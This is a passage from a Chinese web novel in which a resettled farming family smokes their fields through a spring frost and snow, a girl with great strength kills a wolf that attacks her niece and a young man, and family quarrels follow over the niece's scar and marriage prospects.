赶紧把最后一车柴卸下来,跟原来的柴火一起堆放在地头,高娇娇带着人立刻回家去。 姚春香和刘小翠正在屋里炕上对账,上午她挨家挨户把可能要倒春寒甚至下雪的消息通知了一遍,同时透露了她要用钱粮收柴火干草的事。 中午吃过饭后,来打听消息的,送柴火干草的人就没断过。 姚春香自己一个人忙不过来,也不想把学医学绣花的孩子叫回来帮忙,就赶鸭子上架,让刘小翠帮着记账过秤。 刘小翠学识字算数的时候就不用功,突然被安排干这个,不由手忙脚乱。 好在她一向抠门,生怕被人占了便宜,硬是在错了几次后迅速学会了。 只是她这账记得跟鬼画符一样,姚春香实在是看不懂,只能拉着她一一核对。 高娇娇一进门,就安排高春花和杜映梅带着几个小的去煮饭。 今晚可能要通宵干,得吃干饭,有馒头热馒头,没馒头焖米饭。 兔子剥皮切块全部做了,再加上之前剩下的肉干和菜干,炖上一大锅,让大家都吃饱一点。 交代好厨房的活儿,高娇娇赶紧进屋把已经开始变天的消息告诉姚春香她们。 姚春香趿拉上鞋立刻冲了出去,站在院门口感到吹到脸上的风都是凉的,她的心不由一紧。 果然是变天了,昨儿傍晚她站在这儿,吹到脸上的风可一点都不凉。 看到坡下河边那些杨树随风摆动的样子,姚春香更觉棘手,她感觉风也比昨天大了。 “娇娇,你快去给你大哥他们报个信,我跟你大嫂这就把收到的柴火装车,这些得赶紧拉到地里去。” 高娇娇应了声,拔腿就往村外跑。 姚春香叫来刘小翠,赶忙忙碌了起来。 在厨房做饭的高春花等人,被这股紧张的气氛影响,不由自主加快了手上动作。 跟高家众人的忙碌不同,村里有一群人依然不紧不慢的过着日子,尤其是以绛县为主的那帮光棍汉。 他们人少地也少,手里还有些银钱,自然不会像高家人那样在意地里的收成。 除了石小山,石小山上次热血上头想要从军,事后被朱钰劈头盖脸一通骂,给骂醒了。 意识到自己以后的前程就在这个村,好好干将来虽然当不了里正,但当个小队长还是没问题的。 朱钰又承诺以后有做生意的机会会带着他一起赚钱,还会请姚春香帮着他说亲,让他娶妻生子过上安稳日子。 石小山便死心塌地追随朱钰,唯他马首是瞻,朱钰前脚说要变天,他后脚就去割草捡柴。 可任凭石小山怎么劝怎么骂,绛县这伙人中还是有三五个光棍汉就是不肯干。 姚春香说了不勉强,朱钰说了不用管,石小山便不再理会他们,自顾自继续干。 第一百九十六章 等 这会儿见天都快黑了,姚春香和石小山他们还往地里拉柴火,几个看热闹的光棍汉便忍不住嘲笑起来, “我看他们是白费功夫,春分都过了,眼看就要清明了,怎么可能还会下雪?” “可不是,二月倒春寒还见过,三月再冷又能冷到哪儿去,他们听风就是雨,未免也太大惊小怪了。” “了不起就是这一季没收成,咱又不是没钱,又不是买不起粮食,何必受这个累?” “你管人家呢,人家就是勤快爱干活,不吃苦受累没法活。” “嘿嘿嘿,那咱们就好好看看人家勤快人。” “哈哈哈哈,你们俩可真损.......” 听到嘲笑,陆天弘忍不住问陆祥昆, “叔,咱们真要跟着高家人干啊?我觉得他们说的也有道理,春分都过了,还会下雪吗?” 陆祥昆没有丝毫商量余地,坚定道: “别听这些人废话,赶紧去捡柴,高家人可不像他们那么没脑子。” “可,可现在天还这么暖和呢。” 陆天弘有点不情愿,他怕做无用功,到时候人家会笑话的更大声。 更何况他们不比柳树沟那帮人家底厚实,他们的存粮可都不多了,干得多就吃得多,吃得多就多费粮食。 要是忙活一通白干了,那这不得被大家伙埋怨死? 陆祥昆敲了敲拐杖,厉声喝道: “少磨叽,去传话,就说我说的,谁敢偷懒,地要是真被冻伤了没收成,饿肚子了我可不管。” 陆天弘见陆祥昆发火,不敢再多说什么,赶紧去叫人一起割草砍柴。 趁着现在天还没完全黑,多弄一点是一点。 高娇娇找到高大壮等人,把已经开始降温的消息告诉他。 高大壮不由心急如焚,爹不在,娘一个人哪儿能忙得过来? 要不,他还是先回去帮忙吧,反正这么久了狼也没再出现过。 高娇娇看出高大壮的打算,不等他开口就抢先道: “大哥,就是预知到要降温下雪,狼才会下山来避难。 现在不出来,是因为你们一直在巡逻,你们要是撤了,狼肯定会跑出来。 牲口被咬也就罢了,要是小孩被叼走,这后果谁承担的了?” 想到村里有那么多小孩,想到大人一旦都去了地里,狼群夜袭村子的可能,高大壮不由打了个寒噤。 不再想着回去帮忙了,扭头叮嘱巡逻队众人,一定要瞪大眼睛仔细巡逻,千万不能让狼跑进村。 见高大壮拎得清轻重,高娇娇放下心来,赶紧跑回去帮忙运柴火。 从天快黑一直干到伸手不见五指,高娇娇和姚春香终于把所有柴火运到了地里。 刘小翠运到一半就累的不行了,姚春香怕她硬撑着往上爬一不小心摔了更麻烦,就让她先回家了。 回去路上,姚春香见高娇娇举着火把手都有些抖,不由心疼万分, “没想到来了这儿,倒是让你受了这些苦,在老家的时候你哪儿干过这么累人的活啊。” 高娇娇笑着挽上姚春香的胳膊,撒娇道: “娘,我这不是累的,是饿的,咱们赶紧回去吃饭吧,吃了饭我还能再运一千斤,不,两千斤。” “吹得你,你还小着呢,身子骨还没完全长成,可不敢累狠了,晚上我跟狗子来就行了。” 姚春香拍了拍高娇娇胳膊,高娇娇没答应也没拒绝,只催促着赶紧回家吃饭。 她打定主意今晚一定要过来,光指望娘和张狗子俩人熏那么多地,非得累死不可。 更何况,她心里总有种不好的预感,好像要出事似的。 夜深了,高娇娇和姚春香等人站在田埂上,被风吹得东摇西摆。 张狗子抬头看天,天黑沉沉的,没有月亮,也没有星星。 风打在脸上,比白天凉了不少,但也没有冷到要穿皮袄的程度。 他忍不住扭头问姚春香, “婶子,咱们还要一直在这儿等下去吗? 风这么大,会不会把云都给刮跑了,只要不起霜不下雪,咱们是不是就不用熏烟?” 姚春香看看天,有点拿不住,只能看向朱钰。 朱钰掐指算了算,拂开额前被风扯乱的碎发,沉声道: “看天象应该会下一场,说不好是雨还是雪,可能是今晚也可能是明天,保守起见,还是再等一等吧。” 高娇娇有点好奇又有点怀疑, “朱叔,你真会算啊,不是信口胡诌的?” “无知小儿,休得妄言。读周易八百遍,我不说仰知天文,中晓人和,明阴阳懂八卦,晓奇门知遁甲。 运筹帷幄之中,决胜千里之外,起码也是能掐会算,未卜先知了。” 朱钰一甩袖子,抬着下巴很是傲娇。 高娇娇噗嗤笑出了声, “朱叔你这样子真像江湖骗子,说的一套一套的。” 姚春香嗔怪地拍了高娇娇一下, “不许这么说你叔。” 朱钰却捋了捋胡子一本正经道: “赶明儿我走街串巷骗人的时候把你也带上,让你给大家表演徒手碎大石,咋样?” “我看行,你提前用山楂搓点大力丸,我一口吃下就能徒手碎大石,保准咱俩赚个盆满钵溢。” “用山楂可不行,那玩儿味道太明显,一下子就让人吃出来了。 得用米粉混着补气的药粉做药丸,闻着就有股子药味儿,也吃不坏人,人家才肯掏钱。” “朱叔你连这个都能想到,看来经验挺丰富啊,老实说吧,你以前是不是干过?” “凡事呢,不是只有自己亲自去干了才能明白其中的诀窍,像我这样聪明的人,稍微多看两眼就懂了。” “嘁,我才不信,你指定是卖过大力丸..........” 两人你来我往斗着嘴,听得姚春香和张狗子忍不住想笑。 他们的声音随着风渐渐传开,传入蹲在地头默默忍受狂风的村民耳中,让他们焦躁不安的心渐渐平静了下来。 陆祥昆看了眼坐不住的陆天弘,嫌弃道: “看看人家高家那个小闺女,再看看你,你也老大不小了,能不能稳重点? 别总盯着会不会下雪,不下雪是好事,咱们不过白费些功夫,这些柴火拉回家还不是一样能烧火煮饭。” 陆天弘心里苦啊,他也想稳重,也想跟高娇娇那样还有心情跟人斗嘴说笑。 可他就是坐不住,这么干等着真的很难受。 陆祥昆揉了揉酸疼的膝盖,按照以往的经验,腿疼成这样,肯定会下雨。 就是不知道天还会不会继续冷,现在下就是雨,再冷就会是雪了。 也不知道下雪了,熏烟还管不管用,希望雪不要太大,最好不要下。 在众人焦躁不安的等待中,风渐渐小了下来,不再是疯狂肆虐似乎要把一切吹倒的架势了,变得温和了不少。 拍了拍身上的灰,高娇娇问张狗子, “你估摸现在大概是什么时辰了?” 张狗子指了指东边微微泛起的白, “最多一个时辰,天就要亮了。” 高娇娇皱了皱眉,今晚就这么平安过去了? 那她心里那股子说不出来的紧绷和难受,又是打哪儿来的? 第一百九十七章 意外发生的那么突然 时间一点点过去,随着天边鱼肚白的亮起,在地里坚守了一夜的人,纷纷起身准备回家。 按照他们常年劳作的习惯,天亮后随着太阳升起,气温就会逐渐升高,再冷也不会比现在更冷了,所以没必要继续守在地里。 姚春香也开始收拾东西,羊皮袄、水囊、干粮、火折子,统统装进篮子,提上就可以回家了。 高娇娇见朱钰也站了起来,不由跟着站起,可就在站起来的瞬间,她眼角余光瞟到了远处的一抹白。 一瞬间汗毛倒立,发自心底的恐惧让她本能喊出了声, “朱叔!” 朱钰扭头,看到高娇娇发白的脸,吓了一跳,忙要问,却见高娇娇惊恐地指着东边地上。 朱钰顺着她手指的方向看去,瞳孔猛地一震。 白霜! 看得见摸得着的白霜像要吞噬一切般朝他们这边迅速蔓延,那瞬间把所有东西都覆上了一层雪白的姿态,让朱钰不由想起了寒潮降临的瞬间。 他立刻大喊, “嫂子,狗子,快,生火,降温了,起霜了!” 姚春香和张狗子吓了一跳,赶紧手忙脚乱点火。 高娇娇压下心中惊恐,扯着嗓子跑着大喊,让大家都赶紧生火。 火堆一个个生起来了,火光还来不及照亮四周,就被洒水压了下去,火焰不甘心就此熄灭,拼命攀附着木柴,努力燃烧。 浓浓的烟雾从火堆向田地中蔓延,一道烟雾被风给吹偏了,另一道烟雾又涌了过来。 等到白霜蔓延过来时,四面八方的浓烟已经将整个田地覆盖。 高娇娇站在田埂上,眼睁睁看着白霜爬上自己的鞋面,又顺着腿往上爬了一截,才往周围散开。 那股子寒意顺着脚背往上走,冻的她不由打了个寒噤。 她不敢想白霜要是从地里经过,会把下面的土,还有土里可能已经开始发芽的种子冻成什么样。 她只能小心翼翼守着火堆,不让它熄灭,也不让它燃的太快。 忽然听到一声高喊, “下雪了,下雪了!” 高娇娇猛地抬起头,还没看清,就被一个硬硬的小东西砸在了眼皮上。 她伸出手想揉,又听到不远处的张狗子在喊, “不是雪,是冰疙瘩,下冰疙瘩了。” 话音刚落,高娇娇就听到了窸窸窣窣的声响不断在自己头顶肩膀响起。 她伸出手,大大小小的冰粒子争先恐后往下掉。 最大不过黄豆大小,最小只有小米粒一样大,但是很密,下的很快。 高娇娇不得不让火烧的更大些,不然会被冰疙瘩砸灭。 天色渐渐亮了起来,冰粒子逐渐变成了雪花,雪花一开始很密很小,渐渐变成了大片大片如同棉絮一样的雪团,被风吹着呼呼啦啦往下掉。 高娇娇什么也顾不上了,跟个陀螺一样不知疲倦的在几个火堆间来回跑。 添柴,挑松柴火让火烧起来,继续添柴,继续挑....... 头顶的雪想催命一样下,她像被狗撵着一样跑。 直到所有柴火烧完,直到两腿酸疼站着都发软,高娇娇才停了下来。 她抬头看天,雪不知什么时候已经停了,风也小了很多。 田埂上的积雪差不多能到脚踝,地里的浓烟正在消散,露出零星的雪,和大片的黄黑泥土来。 高娇娇看着朝她走过来的张狗子,他满头的雪,脸冻的通红,手也很红,看着很是狼狈。 张狗子眼中的高娇娇也没比他好多少,脸上还沾了一道道灰,活似个小乞丐。 但彼此对视一眼,再看看没被雪覆盖的田地,他们还是开心地笑了起来。 这一天的辛苦没白费啊! 姚春香带着朱钰,和陆祥昆一起挨个检查完所有火堆,确定全部已经燃烧殆尽,没有残留一丝火苗后,终于放下心来。 虽然下了雪,但气温回升的快,地上残留的雪存不住,要不了多久就会化成水。 这里风大,坡上还有很多干草枯枝,要是有火苗没完全熄灭,被风一吹飘到山上,那可就麻烦了。 山火的威力,他们可是都见识过的,那真是能活下来全靠运气,他们好不容易才安稳下来,万万不敢冒这个险。 终于可以回家洗洗吃饭了,高娇娇一溜烟跑的飞快。 张狗子生怕她一脚踩滑掉河里,赶紧追了上去。 桥上落了雪,有的地方可能还结了冰,肯定滑的很,石板桥又没有围栏,一脚踩空可不得掉河里去。 可让张狗子万万没想到的是,高娇娇没出事,他出事了。 高娇娇也没想到,意外会发生的那么突然。 她刚过了桥,正要往坡上走的时候,看到高春花正要往下走,忙冲她摆手道: “别下来了,我们都回来了。” 高春花本来已经停下了脚步,却突然脸色一变,猛地朝她冲了过来。 高娇娇吓了一跳,下过雪路本来就滑,她这么不管不顾往下冲,不是找着摔? 可还不等高娇娇伸手去接,高春花就擦着她的指尖往她身后冲去。 同时身后传来了惊呼, “狼,是狼,狗子快躲开——” 高娇娇急忙扭头,就看到高春花扑到了被突然蹿出来的狼吓的呆滞,还没反应过来的张狗子身上。 紧接着,狼的血盆大口就咬上了高春花的腿,高春花发出一声惨叫,张狗子挥拳要打狼,狼一个甩头躲开,踩着高春花的后背朝张狗子扑了过去。 张狗子本就站在斜坡上,被高春花突然一撞身子后仰,再被狼这么一扑,不由直挺挺往后倒去。 狼趁势往前咬去,眼看就要咬上张狗子的脖子,急的正在过桥的姚春香脚下一趔趄,险些滑到河里去。 也把急急忙忙追过来的高大壮等人吓够呛,高大壮举着弓箭却不敢射,他站的这个位置,稍微射偏一点,就会射到张狗子的头。 张狗子感觉自己要完了,压在身上的重量,和狼嘴里的腥臭,让他喘气都困难,更别说翻身躲避了。 他只能眼睁睁看着尖利的狼牙直冲他的脖子咬去,不甘和绝望让他把拳头攥的咯咯响,却抬不起来一点。 这一切都发生在电光火石之间,高娇娇反应过来,立刻飞身上前。 她来不及多想,就直接伸手去抓狼。 把在朱钰搀扶下刚站稳的姚春香吓的腿发软,她想喊又喊不出声,想往前冲,又跑不动,急的头上直冒汗。 朱钰也急的不行,扯着嗓子大吼, “娇娇,别冲动,你冷静一点。” 高娇娇这个时候哪儿能冷静下来,她的手刚碰到狼尾巴,就用力攥紧使劲一拽。 第一百九十八章 毁容了 狼一开始并不想理会高娇娇,它只顾着眼前即将入嘴的猎物。 哪知尾巴上传来一股大力,扯的它竟不能再往前分毫,看到自己的尖牙马上就要刺破猎物的喉咙,狼不甘心地嘶吼了起来。 高娇娇也大喝一声,用尽全力猛地一甩。 在众人难以置信的注视下,凶悍残暴的恶狼被高娇娇一把甩飞出去,重重砸在了旁边石墙上,发出砰的一声巨响。 高大壮忍不住想补一箭,可软绵绵滑落的狼,以及从狼嘴里咕咚咕咚冒出的血,让经验丰富的他意识到,这头狼被他小妹砸断了脊梁骨,再也爬不起来了。 “小妹,你太厉害了!” 高大壮发自肺腑的赞叹,让姚春香气不打一处来,她扶着腿扯着嗓子骂, “老大你眼瞎啊,看不到你闺女被狼咬了? 还不赶紧去请大夫来!” 说完,又冲想上前救人的高娇娇喊, “闺女你别动他们,得先让小刘大夫看看有没有伤到骨头。” 接着,扭头就冲想围上去帮忙的众人道: “你们别围上去,都赶紧回家去,当心还有狼。 也别站家门口等着看,把路让开!” 朱钰和陆祥昆也帮着驱散人群,清理道路。 等到刘一手赶来,高春花已经疼晕过去了,张狗子也脸色惨白,动弹不得。 将两人用门板抬回家,一通检查后,刘一手判定高春花没有大碍。 虽然右大腿上被咬了一口,但是没咬掉肉,也没损伤筋骨,养养就能恢复。 后背有抓伤,衣服厚,抓伤不很深,应该不会留疤。 就是右侧脸颊的擦伤比较麻烦,被小石子划破那道比较深,可能会留疤。 相比高春花,张狗子就有点惨了。 肋骨被砸断了两根,左胳膊扭到了,右肩膀的骨头也有点错位。 好在杨老大夫擅长接骨,祖传的金疮药止疼效果很好,接了骨,敷了药,张狗子便没那么疼了。 等刘一手的药汤熬好,一碗下肚,张狗子就昏昏沉沉睡了过去。 屋外,高大壮垂头丧气,他带人巡逻了一天一夜,眼睛都瞪的发酸了。 昨晚可算是发现了几头狼的踪迹,他们一通围追堵截,折腾了一天,终于打死了五头狼。 本以为总算是消除了饿狼的威胁,可以回去照看一下家里了,哪知还有一条漏网之鱼,已经悄悄溜进了村里。 要不是小妹反应快,下手狠,一下干掉了那头狼,后果真是不堪设想。 姚春香见大儿子熬的眼睛通红,满脸疲惫,也不忍心再责怪什么,安抚地拍了拍他的肩膀,温声道: “他俩都没事了,这边我照看着,你快回去好好歇歇吧。” 高大壮抬起头,眼睛通红泛着泪花,无比沮丧道: “娘,我觉得自己挺没用的,连这点事都做不好。” “胡说个啥,你们能打死五头狼已经很厉害了,谁能想到这头狼这么狡猾,还会埋伏起来偷袭。 我看就是你爹在也避不开,还好没出啥大事——” “这还不算大事啊?我家春花都毁容了,好好一个姑娘家脸上留道疤,以后可咋整啊?呜呜呜呜.......” 刘小翠听到这话,忍不住插嘴,没说两句就又哭了起来。 她这是造了什么孽啊,好不容易养大的闺女破了相,以后还怎么找婆家? 就算是穷的掉渣的老光棍,也不想娶个毁了容的丑媳妇吧。 姚春香本就心烦,被刘小翠哭的更是心烦,直接呵斥道: “哭哭哭,除了哭你还会干甚? 有这功夫,不如去给你闺女和狗子熬点小米粥,等他们醒了好喝。 不就脸上留道疤,有啥大不了的,逃难路上别说破相缺胳膊少腿都是常有的事。 只要人还好好的,比啥都强。 再说,小刘大夫也没说一定会留疤,你现在就哭也太早了吧。” 刘小翠被骂的不敢还嘴,等姚春香出去后,还是忍不住跟高大壮抱怨, “说到底都怨张狗子,咱闺女要不是为了救他,也不会伤成这样。 我早就说外姓人养不熟,他都那么大了不该继续留在咱家,爹娘就是不听。 现在好了吧,全村人都看到咱闺女为了张狗子命都不要,还破了相,以后可咋整啊,呜呜呜......” 高大壮被哭的头疼,可是见媳妇哭的眼睛红肿,心疼她也是一腔慈母心肠,不忍心责备,只能宽慰道: “不会的,我回头问问那几个大夫,让他们想想办法配点祛疤的药膏。 不管多贵,只要能不让咱闺女破相,多少钱我都给。 你快别哭了,回头闺女醒了见你眼睛肿成这样,心里肯定难受。 你快去熬点粥,对了,再放点红枣,给咱闺女补补血。 我去换身衣服,擦洗一下,身上又是血又是泥的,臭的很。” 刘小翠听高大壮这么说,才止住了哭泣,先伺候丈夫擦洗干净换了衣服,这才回厨房熬粥。 院里,高娇娇和黄有根、石小山几个正在处理狼的尸体。 石小山一边剥皮一边冲高娇娇道: “娇娇,你今儿那一摔可太厉害了! 你是没看见,我们几个站在高处可看的一清二楚。 所有人都惊地张大了嘴,眼珠子都快瞪出来了,不敢相信你竟然有这等天生神力。 一下子就把足有一百多斤的狼给甩飞了,还把它脊梁骨都砸断了! 我要不是亲眼所见,跟旁人说起,人家指定会以为我在吹牛皮。” 吴亮哈哈大笑,一脸与有荣焉道: “那是你见得少,路上遇到马匪的时候,娇娇还把马踹飞过呢。 那么大一匹马,她从后面冲出来,一脚踹过去,就把马被踹飞了。 擦着地,嗖的一下,飞出去好几丈呢,把我们都看傻眼了。” 高娇娇忙摆手道: “没有好几丈,也就一丈来远,还是因为地上有雪,比较滑,要不我顶多把马踹倒,肯定踹不飞。” “能踹倒就够厉害的了,搁到我,别说踹,就连抱着马脖子摔,我都不一定能把马摔倒。” 石小山是真的服了,心服口服。 他以前都是带队冲在最前头,跟负责后方防守的高娇娇,虽然一起打过马匪,但还真没怎么看过她是怎么打的。 知道她力气大,也见识过她搬马车,但是这跟亲眼看见她一下把狼甩飞比起来,还是后者更为震撼。 石小山觉得朱钰说的太对了,高家不一般,就算高长天老了,高家也后继有人。 跟着他们准没错,就冲高娇娇这一身神力,高家还能兴旺几十年。 几人正说着,听到院门外有动静,高娇娇忙跑了出去。 第一百九十九章 凶狠的一面 见高长天带着一队人马正往回回,他们肩上扛着手上提着腰间挂的都是满满当当。 高娇娇不由高兴地跳起来冲他们挥手大喊, “爹,二哥,三哥,你们回来啦,打到啥好东西了? 我想吃鹿肉,你们有没有打到鹿?” 高三壮听到高娇娇喊,刚想显摆一下自己打到的猎物,紧接着就听到她想吃鹿肉,不由脚下一趔趄。 好家伙,妹妹可真看得起他们,鹿哪儿有那么好打的啊。 高二壮晃了晃肩上扛的猎物,咧嘴笑着嚷道: “鹿没有,羊有一头,羊肉你吃不吃?” 高娇娇眼睛亮了,忙点头道: “吃吃吃,二哥我要吃烤羊排还有烤羊腿!” “你倒是会吃,行,晚上二哥就给你烤啊。” 高二壮笑呵呵应下,他还没告诉小妹,他还打到一头小羊羔,那玩意儿肉嫩,烤着吃才香呢。 陆祥昆站在自家院门口,看着已经看傻眼的陆天弘,好笑道: “现在知道高家人的厉害了吧,你啊,以后勤快点嘴甜点,跟高家人走的近一点,对你对咱们村的人没坏处。” 陆天弘艰难地咽了口口水,他今儿真是开了眼了。 高家人都是这么强的吗? 难怪叔叔总说他,他以后可得抱紧高家人的大粗腿。 高长天刚一上坡,就察觉到不对,迅速看了眼四周,视线落在了旁边石墙上已经干了的血渍上。 嗅了下,高长天不由皱起眉头,是狼的血腥味儿。 不好,村里进来过狼。 高长天立刻加快了脚步,高二壮等人还以为他回家心切,也没多想,跟着加快脚步朝家走去。 到了家门外,闻到里面浓重的血腥味儿,众人才觉出不对。 再一问,不由又气又恼又后怕,完全没了一开始带着猎物回家的欢快。 李二气地直捶墙, “这群畜生真是狡猾,引着咱们在山里转了好大一圈,累个半死才把狼窝端了。 不成想居然还兵分两路,偷跑下来抄咱们的老巢,这哪儿还是狼,分明是成精了!” 罗子担忧, “高叔,你说不会还有躲藏起来的狼吧? 狼这玩意儿可记仇的很,咱们要是没打干净,可要被它们给盯上了。” 高长天眼眸沉沉,杀意凛凛道: “不怕,回头咱们想办法把那头老虎打了,让村里人用老虎毛做成香囊荷包挂在身上。 那些畜生闻到老虎的气味儿,就不敢再靠近。 咱们既然来了这儿,这儿就是咱们的地盘,甭管它是狼是虎,都得给老子趴着!” 一听这话,众人有了胆气,又重新欢快的处理起猎物来。 赶来看热闹的张家集和双水村众人,见一向憨厚老实的高长天露出凶狠的一面,不由都有些心惊胆颤。 他们这才意识到,高长天不仅是心善好说话的里正,还是个杀过很多凶猛野兽的老猎户。 甚至,他还杀过不少马匪,他手上溅过的血,比他们见过的都多。 得知突然降温后,村里人一起捡柴熏烟共同保护田地,姚春香更是从双水村人手中买了不少柴火,高长天觉得这是难得的万众一心,手一挥,决定将带回来的猎物便宜卖给大家伙。 李二他们对此毫无异议,猎物里有一半都是高家父子三人打的。 再说要不是高长天经验丰富,突然降温下雪的时候他们险些就冻死了,哪里还会七拐八绕打到了野山羊,完好无损走出来。 更何况他们打到的猎物足有上千斤,自家肯定吃不完,便宜点卖给乡亲们,也省的再跑去城里卖了。 围观众人听到可以便宜买到肉,都很心动。 但又有些纠结,他们大都不富裕,就算再便宜那也是肉,他们依然买不起。 高长天早就预料到了这种情况,立刻又道: “没钱的可以拿东西换,没东西的可以拿将来的工钱抵,实在没钱没东西,也没劳力的,就记我账上。 我不怕你赖账,一年两年甚至三年五年我也等得起,只要你将来有肉吃的时候,还我就行。” 众人一听这话,顿时没了顾虑,纷纷冲进来买肉。 高娇娇忙的脚不沾地,剥皮分割,剔骨切块,等到卖的差不多,抬头一看,天都黑了。 捶了捶酸疼的腰,高娇娇看向已经架起炉火,正在烤羊腿和羊排的高二壮, “二哥,还得多久才能烤好啊?” “半个时辰吧,你要饿了先去厨房喝点粥,大嫂熬了一锅小米粥,娘说春花和狗子喝不完,让咱们想喝就自己去盛。” 高二壮一边说一边拿起匕首,在肉上多划出来几道口,这样肉能熟的快一些。 听到高二壮提到高春花和张狗子,高娇娇忙把手洗干净,进屋去看看他俩的情况。 掀开厚门帘,进了窑洞,见守在高春花床边的是高秋花,高娇娇不由皱了皱眉,问道: “你大姐现在怎么样了?你娘呢?” “大姐扎针后醒过来了一小会儿,喝了药就睡着了,娘让我在这儿看着,我不知道她干嘛去了。” 高秋花的回答让高娇娇眉头皱的更紧,她忙又问, “你大姐睡得安稳吗?又没有发热?又没有出汗?” 高秋花眨巴眨巴眼睛,这才意识到好像光坐在旁边看着不太对,忙伸手摸了摸高春花的额头,又拉开一点被子,摸了摸她的后脖子。 “没有发热,也没出汗,大姐睡着后就没动弹过,应该是安稳的吧。” 高娇娇松了口气,叮嘱高秋花道: “你隔一个来时辰,就再摸摸看,要是有发热或者出汗,或者睡的不安稳乱喊乱叫什么的,就去喊大人,记住了没?” 高秋花乖乖点头, “姑姑,我记住了。” 高娇娇摸了摸她的头,勉强笑着夸了句, “嗯,秋花真乖,今晚就辛苦你了,一会儿肉烤好了,姑姑给你拿过来。” 高秋花抿唇笑着点头,那副软萌乖巧的样子,看的高娇娇心里软软的。 可一想到这种时候还跑开,把受伤昏睡中的高春花,丢给还不到十四岁高秋花照看的刘小翠,高娇娇就气不打一处来。 这得多心大,才能干出这种事来。 她倒要看看刘小翠到底有什么要紧的事,非要这个时候跑开。 高娇娇强忍着怒气,去了张狗子那屋,见只有高二宝一人趴在炕边守着,额头青筋不由直跳。 今晚这是怎么了? 一个两个怎么都这么不靠谱,张狗子伤的那么重,高二宝什么都不懂,怎么照顾? 想到爹回来没一会儿就被娘叫走了,俩人跟朱钰一起离开的,应该是去了朱钰住的窑洞。 后来大哥也被叫走了,那应该是他们三个在一起商量事去了。 有什么要紧的事非要现在商量,就算要商量不能把家里两个病号先安排好了再去吗? 高娇娇头一次对高长天他们也不满了起来,大步流星朝朱钰家走去。 朱钰就住在高家上面那层的一个两孔窑洞里,站在他家院门口,能看到高家院里的情形。 相应的,高长天要是有事找他,在自家院里喊一声,朱钰也能听见。 高娇娇走的飞快,不过片刻就到了朱钰家院门口,只见东边窑洞里亮着灯,窗户边有几道人影晃动。 一看就是几个人围坐在炕上,还在说事。 高娇娇刚要走过去,就见窗户下面还蹲着一个人。 鬼鬼祟祟伸长脖子,那副恨不得把耳朵贴在窗户上的架势,看的高娇娇火冒三丈。 好家伙,真是活久了什么都能见到,他们石楼村里竟然还有偷听贼了。 第二百章 逼着狗子娶春花 高娇娇提气踮着脚,悄悄走到了那人身后,见那人还没察觉,便贴近那人耳边,故意压着声音拉长音调问, “你~在~看~什~么?” “你管我看啥,滚滚滚,别来烦我。” 刘小翠继续将耳朵往窗户根凑,跟挥苍蝇一样不耐烦地挥了挥手。 可手挥到一半,她突然僵住了。 如同被鬼附身了一般瞪圆了眼睛,僵硬迟缓地转过头,看到高娇娇怼过来的大脸,不由惊恐地张大了嘴巴。 见刘小翠要叫,高娇娇忙一把捂住她的嘴,将她整个人提溜着拖了出去。 刘小翠快被吓死了,高娇娇一松手她就啪叽坐在了地上。 高娇娇黑沉着脸,压低声音问道: “你为啥要偷听?都听到了啥?” 刘小翠捂着心口,呼哧呼哧喘着粗气,好一会儿才艰难挤出一句, “你可吓死我了!” “问你话呢,聋了?还是想装傻? 不说话我就当你是内奸了,信不信我把你直接扔下去?” 高娇娇伸手拎着刘小翠的后衣襟,就要把她往起提。 吓的刘小翠又想要尖叫,但刚才嘴被高娇娇用力捂过的力道还没完全消散,她不敢,只能赶紧结结巴巴解释道: “我,我就是想过来看看情况,闹出这么大的事,春花的名声是保不住了。 事关我闺女的终身大事,他们不跟我商量,还不让我过来听一听啊?” 高娇娇愣住了,什么终身大事?什么名声? 不就是春花为了救狗子被狼给咬了吗? 怎么被刘小翠这么一说,就好像是天塌了似的? 刘小翠说着说着就理直气壮了,腿不软了,胆儿也不颤了,一把拂开高娇娇的手,很是气愤道: “我就知道,你们就从没把我当一家人,尤其是你,从没把我当大嫂。 我就算再不好,也给你们高家生了三个女儿,可你们居然连我亲闺女的婚事都不跟我商量一下。 你们真是太过分了,我不管,春花救了张狗子的命,还为他毁了容,他必须负责,给我的闺女一个交代!” 高娇娇跟被雷劈了一般懵了,这都是什么跟什么啊? 怎么就到了非要狗子负责的地步? 她要是记忆没出错,之前不是刘小翠一直嫌弃张狗子孤苦无依清贫寒酸,不许春花跟他走太近的吗? 可一低头,刘小翠已经没了影儿。 高娇娇气笑了,这人居然趁她发愣,悄悄跑了。 刘小翠一溜烟跑回家,顾不得跟院里众人打招呼,就冲进了张狗子住的那间窑洞。 高二宝正趴在窗户边嗅着外面烤肉的香味儿,被突然冲进来的刘小翠吓了一跳,还不等他爬下来,就见刘小翠一下子扑到了张狗子的身上。 张狗子的肋骨才被接好,被刘小翠不管不顾直接一扑,立刻就给疼醒了。 还没搞清楚是什么情况,就听到呜呜咽咽的哭声传来, “我可怜的春花啊,小小年纪就破了相,以后可咋办啊? 你个杀千刀的狗子,怎么就把我闺女的魂儿给勾了去,让她死心塌地护着你。 为了你腿也伤了,背也烂了,脸还毁了,你让她以后可咋嫁人啊? 呜呜呜,我可怜的闺女啊,呜呜呜........” 刘小翠哭的伤心欲绝,张狗子听得如遭雷劈。 他倒下去的时候,看到高娇娇冲了过来,然后那头狼没有咬到他的脖子,他得救了。 但是胸口太疼了,肩膀也疼的不行,他动弹不得,还喘不过气。 只能眼睁睁看着高娇娇一把把狼甩飞,然后大家都围了上来,再然后小刘大夫来了,在他身上一通摁,再再然后,他就被抬回了窑洞。 接骨很疼,疼的他意识模糊,想问问春花怎么样都问不出。 只在喝药的时候隐约听到春花醒了,伤的没他重,这才放心地睡了过去。 结果被疼醒后,却听到了这个噩耗。 春花毁容了! 一个姑娘为了他毁容了!! 张狗子被这个噩耗砸的脑子一片空白,完全不知道该怎么办了。 耳边只有刘小翠的哭喊抱怨不满,让他本就艰难的呼吸,有种窒息的绝望。 院里正在忙碌的高二壮等人,听到哭声吓了一跳,刚想冲进去看看情况,就听到刘小翠嚷嚷什么毁容名声嫁不出去,不由停下了脚步。 几人对视一眼,都有些尴尬。 李二小声冲高二壮道, “今儿这事虽说传出去对春花名声是不太好,可也没这么严重吧。 你大嫂哭成这样,不知道的还以为她是要逼着狗子娶春花呢。” 高二壮本来就不怎么好看的脸,更难看了。 罗子瞪了李二一眼,李二讪讪摸了摸鼻尖,赶紧跟高二壮解释道: “我胡说的,你大嫂肯定没这个意思,她之前那么嫌弃狗子,怎么舍得把闺女嫁给狗子。 我这人就是嘴比脑子快,你可别放在心上啊。” 罗子忍不住扶额,这解释了还不如不解释呢。 